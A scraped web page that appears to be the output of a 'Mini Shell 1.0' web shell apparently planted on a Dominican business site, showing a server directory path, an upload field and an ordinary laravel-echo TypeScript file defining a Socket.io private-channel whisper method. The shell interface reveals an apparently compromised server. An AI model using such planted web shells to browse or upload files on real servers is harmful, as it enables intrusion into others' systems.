HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/node_modules/laravel-echo/src/channel/
Upload File :
Current File : //var/www/devs.lapieza.net/node_modules/laravel-echo/src/channel/socketio-private-channel.ts
import { SocketIoChannel } from './socketio-channel';

/**
 * This class represents a Socket.io private channel.
 */
export class SocketIoPrivateChannel extends SocketIoChannel {
    /**
     * Send a whisper event to other clients in the channel.
     */
    whisper(eventName: string, data: any): SocketIoChannel {
        this.socket.emit('client event', {
            channel: this.name,
            event: `client-${eventName}`,
            data: data,
        });

        return this;
    }
}